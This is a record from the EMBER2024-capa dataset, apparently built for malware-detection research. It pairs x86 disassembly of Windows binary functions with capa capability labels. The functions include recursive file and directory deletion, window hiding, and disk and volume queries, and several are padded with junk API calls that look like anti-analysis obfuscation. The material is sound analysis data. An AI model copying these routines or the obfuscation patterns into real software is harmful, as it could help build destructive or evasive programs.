joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100205b0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
mov eax, dword [0x1005d500]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
lea eax, [esp + 0x154]
push eax
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..
lea ecx, [esp + 0x154]
push ecx
call esi
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100206ca
push 0x100535a0
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x100206b6
push 0x100546e8
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x100206b6
push edi
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10053444
lea ecx, [esp + 0x154]
push ecx
call esi
lea edx, [esp + 0x3c]
push edx
lea eax, [esp + 0x154]
push eax
call esi
test byte [esp + 0x10], 0x10
je 0x1002068e
lea ecx, [esp + 0x150]
push ecx
mov ecx, dword [esp + 0x10]
call fcn.100205b0
lea ecx, [esp + 0x10]
push ecx
jmp 0x100206bb
push 0x80
lea edx, [esp + 0x154]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x10]
push ecx
jmp 0x100206bb
lea edx, [esp + 0x10]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10020616
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [esp + 0x254]
pop edi
cmp eax, 1
pop esi
sete al
pop ebx
xor ecx, esp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret 4
Function at 0x10020a50
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c5eb
mov eax, dword fs:[0]
push eax
sub esp, 0x128
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov edi, 0xf
mov esi, ecx
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x11c], edi
mov dword [ebp - 0x120], ebx
mov byte [ebp - 0x130], bl
push 0x103
lea eax, [ebp - 0x113]
push ebx
mov dword [ebp - 4], ebx
push eax
mov byte [ebp - 0x114], bl
call fcn.10037e20
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x114]
push ecx
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x10020aef
call fcn.10020ee0
cmp dword [ebp - 0x11c], 0x10
jb 0x10020b3f
mov edx, dword [ebp - 0x130]
push edx
jmp 0x10020b37
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10020af8
sub eax, edx
push eax
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x130]
call fcn.100028b0
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
lea edi, [ebp - 0x130]
mov byte [esi], bl
call fcn.100029b0
cmp dword [ebp - 0x11c], 0x10
jb 0x10020b3f
mov ecx, dword [ebp - 0x130]
push ecx
call fcn.10032d80
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret
Function at 0x10020e90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [eax + 0x14], 0x10
jb 0x10020e9b
mov eax, dword [eax]
push esi
push 0x10054708
push eax
call fcn.10035645
mov esi, eax
add esp, 8
test esi, esi
jne 0x10020eb7
xor al, al
pop esi
pop ebp
ret 4
mov eax, dword [ebp + 8]
push edi
push esi
push ebx
push 1
push eax
call fcn.10035cde
push esi
mov edi, eax
call fcn.100352ae
add esp, 0x14
xor eax, eax
cmp edi, ebx
pop edi
sete al
pop esi
pop ebp
ret 4

Function at 0x10020ee0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1005fbf4]
push ebx
xor ebx, ebx
cmp dword [0x1005fc08], 0x10
mov dword [ebp - 0x110], ebx
mov byte [ebp - 0x108], bl
mov byte [ebp - 0x109], bl
jae 0x10020f1b
mov eax, 0x1005fbf4
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x10020f70
cmp dword [0x1005fc24], 0x10
mov eax, dword [0x1005fc10]
jae 0x10020f3c
mov eax, 0x1005fc10
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x10020f61
lea ecx, [ebp - 0x108]
push ecx
push ebx
push ebx
push 0x23
push ebx
call eax
test eax, eax
js 0x10020f61
mov byte [ebp - 0x109], 1
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [ebp - 0x109], bl
jne 0x10020f98
push 0x104
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x10020f98
push str.All_UsersApplication_Data
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
lea edx, [eax + 1]
pop edi
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10020fb0
sub eax, edx
push eax
lea ecx, [ebp - 0x108]
push ecx
mov ecx, esi
call fcn.100028b0
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, esi
pop ebx
call fcn.10034d1a
mov esp, ebp
pop ebp
ret
Function at 0x10023770
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004ebd0
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
push ebx
push ebx
push ebx
push str.ymxs
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push ebx
push ebx
push str.kdjfir
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
mov edi, dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call edi
push 0x148
mov dword [ebp - 4], ebx
call fcn.10032d50
add esp, 4
cmp eax, ebx
je 0x100237e6
call fcn.10023850
mov esi, eax
jmp 0x100237e8
xor esi, esi
call fcn.1000c410
cmp al, bl
je 0x100237f7
push esi
call fcn.10023a90
cmp esi, ebx
je 0x10023809
call fcn.10023900
push esi
call fcn.10032d80
add esp, 4
mov eax, dword [0x10061aa4]
cmp eax, ebx
je 0x1002381b
push eax
call edi
mov dword [0x10061aa4], ebx
mov eax, dword [0x10061aa0]
cmp eax, ebx
je 0x10023831
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10061aa0], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10023a90
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004e878
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, esp
push eax
lea eax, [esp + 0x58]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
call fcn.100242c0
mov dword [esp + 0x1c], vtable.WTL::CMessageLoop.0
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x60], ebx
mov edi, dword [0x100a20fc]
lea eax, [esp + 0x1c]
add edi, 0x10
push edi
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [0x10061c14]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], eax
call fcn.100241e0
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0xc]
xor esi, esi
cmp eax, 7
jne 0x10023b4a
push eax
call fcn.1000d650
add esp, 4
push ecx
call fcn.10023c60
jmp 0x10023b5e
cmp eax, 8
jne 0x10023b6d
push eax
call fcn.1000d650
add esp, 4
push ecx
call fcn.10023c60
lea edi, [esp + 0x1c]
mov esi, eax
call fcn.10024120
mov dword [esp + 0x14], eax
call fcn.10023fd0
call fcn.10023d20
mov edi, dword [0x10061c14]
cmp edi, ebx
je 0x10023bb1
mov eax, dword [edi]
cmp eax, ebx
je 0x10023b92
push eax
call fcn.1003589c
add esp, 4
mov dword [edi], ebx
mov eax, dword [edi + 4]
cmp eax, ebx
je 0x10023ba5
push eax
call fcn.1003589c
add esp, 4
mov dword [edi + 4], ebx
push edi
mov dword [edi + 8], ebx
call fcn.10032d80
add esp, 4
call fcn.10023da0
cmp esi, ebx
je 0x10023bc4
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp + 0x2c]
cmp eax, ebx
je 0x10023bdf
push eax
call fcn.1003589c
add esp, 4
mov dword [esp + 0x2c], ebx
mov eax, dword [esp + 0x20]
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
cmp eax, ebx
je 0x10023bf8
push eax
call fcn.1003589c
add esp, 4
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100255d0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [esi + 0x20]
push eax
push 0x10060380
mov ebx, 0x100600f0
mov dword [ebp - 4], edi
call fcn.10021180
add esp, 8
movzx ebx, ax
mov ecx, 0x1005fdb4
test edi, edi
je 0x10025600
mov ecx, edi
push ecx
mov eax, esp
push 0x40304
push 0x80ca0000
mov dword [eax], 0
push ecx
mov eax, esp
mov dword [eax], ecx
mov eax, esi
call fcn.10025de0
mov ecx, dword [0x10060388]
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
push 0xc
mov dword [ebp - 4], ecx
call ebx
push eax
push 0xb
call ebx
mov edx, dword [ebp - 4]
push eax
push 1
push 0x6a
push edx
call dword [sym.imp.USER32.dll_LoadImageA]
push eax
mov eax, dword [esi + 4]
push 1
push 0x80
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x10060388]
push 0
push 0x32
mov dword [ebp - 4], ecx
call ebx
push eax
push 0x31
call ebx
mov edx, dword [ebp - 4]
push eax
push 1
push 0x6a
push edx
call dword [sym.imp.USER32.dll_LoadImageA]
push eax
mov eax, dword [esi + 4]
push 0
push 0x80
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [esi + 4]
mov ebx, dword [sym.imp.USER32.dll_GetWindowLongA]
push 0xffffffffffffffec
push ecx
call ebx
mov edx, dword [esi + 4]
push eax
push 0
push 0xfffffffffffffff0
push edx
call ebx
push eax
push edi
call dword [sym.imp.USER32.dll_AdjustWindowRectEx]
mov eax, dword [edi + 4]
mov edx, dword [edi + 0xc]
mov ecx, dword [edi]
push 1
sub edx, eax
push edx
mov edx, dword [edi + 8]
sub edx, ecx
push edx
push eax
mov eax, dword [esi + 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
mov ecx, esi
mov edx, dword [ecx + 0x3c]
mov eax, dword [edx + 0xc]
cmp eax, 7
je 0x100256eb
cmp eax, 8
je 0x100256eb
lea ecx, [esi + 4]
call fcn.10026080
jmp 0x100256f7
mov eax, dword [esi + 4]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [esi + 4]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [esi + 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10025c50
Capabilities:
Get disk size

Disassembly:
push 0
push 0
push 0
push str.ymxs
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push str.kdjfir
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [esi + 0x3c]
cmp dword [eax + 0x18], 0
je 0x10025cd3
mov ecx, dword [eax + 0xc]
cmp ecx, 7
je 0x10025cd3
cmp ecx, 8
je 0x10025cd3
mov eax, dword [esi + 4]
push 0x4653
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, dword [esi + 4]
push ecx
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov dword [0x10061a98], 0
mov dword [esi + 0x40], 0
xor eax, eax
ret
mov eax, dword [eax + 0xc]
cmp eax, 7
je 0x10025cf9
cmp eax, 8
je 0x10025cf9
mov edx, dword [esi + 4]
push 0x4653
push 0
push 0
push 0
push 0
push 1
push edx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov dword [0x10061a98], 0
mov dword [esi + 0x40], 0
xor eax, eax
ret
Function at 0x10026710
Capabilities:
Delete directory
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004b748
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
push ebx
push str.djbv
mov dword [ebp - 0x58], eax
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push ebx
push ebx
push ebx
push ebx
push ebx
push str.dfgd0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push ebx
push ebx
push ebx
push ebx
push str.sdfe
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push str.shjt
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push ebx
push ebx
push ebx
push ebx
push str.pigf
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
push 0x10054960
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
mov ecx, dword [edi + 8]
sub ecx, dword [edi + 4]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dword [ebp - 0x54], ebx
test ecx, ecx
jle 0x10026880
mov dword [ebp - 0x50], ebx
mov esi, dword [edi + 4]
add esi, dword [ebp - 0x50]
push 0xffffffffffffffff
push ebx
push esi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x38], 0xf
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], bl
call fcn.10002da0
push 0xffffffffffffffff
mov dword [ebp - 4], ebx
push ebx
add esi, 0x1c
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
call fcn.10002da0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x4c]
mov esi, 0x10
cmp dword [ebp - 0x38], esi
jae 0x10026810
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x3c]
push edx
push eax
mov eax, dword [ebp - 0x58]
push eax
xor eax, eax
call fcn.1000b3e0
cmp eax, 0xffffffff
jne 0x1002689f
cmp dword [ebp - 0x1c], esi
jb 0x10026836
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.10032d80
add esp, 4
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [ebp - 0x38], esi
jb 0x10026854
mov edx, dword [ebp - 0x4c]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [edi + 8]
sub ecx, dword [edi + 4]
mov esi, dword [ebp - 0x54]
add dword [ebp - 0x50], 0x38
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
mov dword [ebp - 0x54], esi
cmp esi, eax
jl 0x100267bb
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret 4
cmp dword [ebp - 0x1c], esi
jb 0x100268b0
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.10032d80
add esp, 4
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [ebp - 0x38], esi
jb 0x100268ce
mov edx, dword [ebp - 0x4c]
push edx
call fcn.10032d80
add esp, 4
mov al, 1
jmp 0x10026882
Function at 0x10027720
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004ce21
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x1005d500]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], vtable.FileService.0
mov dword [ebp - 4], 1
call fcn.10020ee0
push 1
mov eax, 0x10053444
mov ecx, esi
mov dword [ebp - 0x10], 1
call fcn.10002620
push 1
mov eax, 0x100536b0
mov ecx, esi
call fcn.10002620
push 1
mov eax, 0x10053444
mov ecx, esi
call fcn.10002620
cmp dword [esi + 0x14], 0x10
jb 0x1002779e
mov eax, dword [esi]
jmp 0x100277a0
mov eax, esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100277c0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c0d9
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
mov eax, dword [0x1005d500]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0xffffffffffffffff
mov dword [ebp - 0x10], ebx
push ebx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push 0x100a1fbc
mov ecx, esi
mov byte [esi], bl
call fcn.10002da0
mov dword [ebp - 4], ebx
push 2
mov eax, 0x100536b4
mov ecx, esi
mov dword [ebp - 0x10], 1
call fcn.10002620
push 1
mov eax, 0x10053444
mov ecx, esi
call fcn.10002620
cmp dword [esi + 0x14], 0x10
jb 0x1002783b
mov eax, dword [esi]
jmp 0x1002783d
mov eax, esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10027860
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
mov dword [esp + 4], 0
call fcn.10028180
call fcn.10028f20
lea eax, [esp + 4]
push eax
push 0
push 0x100a1f98
push 0x10028dc0
push 0
push 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
mov dword [0x100a20dc], eax
push 0
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
push 0x100a2084
mov ecx, esi
mov byte [esi], 0
call fcn.10002da0
mov eax, esi
mov esp, ebp
pop ebp
ret
Function at 0x10027b60
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c498
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 3
push 0x1005496c
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x58], 0xf
mov dword [ebp - 0x5c], 0
mov byte [ebp - 0x6c], 0
call fcn.100028b0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x58], 0x10
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x7c], 0
jae 0x10027bc4
lea eax, [ebp - 0x6c]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x7c]
push ecx
push 0xc
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 0x7c]
xor eax, eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
mov byte [ebp - 0x70], al
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x78]
push ecx
mov dword [ebp - 0x78], edx
call fcn.100115b0
mov bl, byte [ebp - 0x78]
add bl, byte [ebp + 8]
push 0x40
lea edx, [ebp - 0x50]
push 0
push edx
call fcn.10037e20
movsx eax, bl
push eax
lea ecx, [ebp - 0x50]
push 0x10053b68
push ecx
call fcn.100366bd
lea eax, [ebp - 0x50]
add esp, 0x20
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10027c27
sub eax, ecx
push eax
lea edx, [ebp - 0x50]
push edx
mov ecx, esi
call fcn.100028b0
push 0x40
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.10037e20
movsx ecx, byte [ebp - 0x77]
push ecx
lea edx, [ebp - 0x50]
push 0x10053b68
push edx
call fcn.100366bd
lea eax, [ebp - 0x50]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10027c65
sub eax, ecx
push eax
lea eax, [ebp - 0x50]
mov ecx, esi
call fcn.10002620
push 0x40
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.10037e20
movsx ecx, byte [ebp - 0x76]
push ecx
lea edx, [ebp - 0x50]
push 0x10053b68
push edx
call fcn.100366bd
lea eax, [ebp - 0x50]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10027ca2
sub eax, ecx
push eax
lea eax, [ebp - 0x50]
mov ecx, esi
call fcn.10002620
push 0x40
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.10037e20
movsx ecx, byte [ebp - 0x75]
push ecx
lea edx, [ebp - 0x50]
push 0x10053b68
push edx
call fcn.100366bd
lea eax, [ebp - 0x50]
add esp, 0x18
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10027ce0
sub eax, edx
push eax
lea eax, [ebp - 0x50]
mov ecx, esi
call fcn.10002620
cmp dword [ebp - 0x58], 0x10
jb 0x10027d06
mov eax, dword [ebp - 0x6c]
push eax
call fcn.10032d80
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret 4
Function at 0x10029610
Capabilities:
Get disk size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c438
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x50], ebx
push ebx
push 0x10054970
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push ebx
push ebx
push ebx
push str.ymxs
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push ebx
push ebx
push str.kdjfir
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
mov byte [ebp - 4], 1
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x10029690
lea eax, [ebp + 0xc]
push 0x10053448
push eax
call fcn.10035645
mov edi, eax
push edi
push 1
lea edx, [ebp - 0x50]
push 4
push edx
mov dword [ebp - 0x50], ebx
call fcn.1003556c
mov eax, dword [ebp - 0x50]
inc eax
push eax
call fcn.10034252
mov ecx, dword [ebp - 0x50]
add esp, 0x1c
inc ecx
push ecx
mov esi, eax
push ebx
push esi
call fcn.10037e20
mov edx, dword [ebp - 0x50]
push edi
push edx
push 1
push esi
call fcn.1003556c
push edi
call fcn.100352ae
mov edi, 0xf
mov eax, esi
add esp, 0x20
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100296f2
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.100028b0
push esi
mov byte [ebp - 4], 2
call fcn.10034d29
mov eax, dword [ebp - 0x58]
add esp, 4
add eax, 0x61
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x58], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x30]
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push edx
mov byte [ecx], bl
call fcn.10002da0
lea eax, [ebp - 0x4c]
push eax
call fcn.100298f0
mov edi, eax
lea esi, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.100029b0
mov byte [ebp - 4], 2
cmp dword [ebp - 0x38], 0x10
jb 0x10029762
mov ecx, dword [ebp - 0x4c]
push ecx
call fcn.10032d80
add esp, 4
mov esi, dword [ebp - 0x54]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
lea edi, [ebp - 0x30]
mov byte [esi], bl
call fcn.100029b0
mov esi, 0x10
cmp dword [ebp - 0x1c], esi
jb 0x1002978f
mov edx, dword [ebp - 0x30]
push edx
call fcn.10032d80
add esp, 4
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [ebp + 0x20], esi
jb 0x100297ca
mov eax, dword [ebp + 0xc]
push eax
call fcn.10032d80
add esp, 4
jmp 0x100297ca
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret 0x20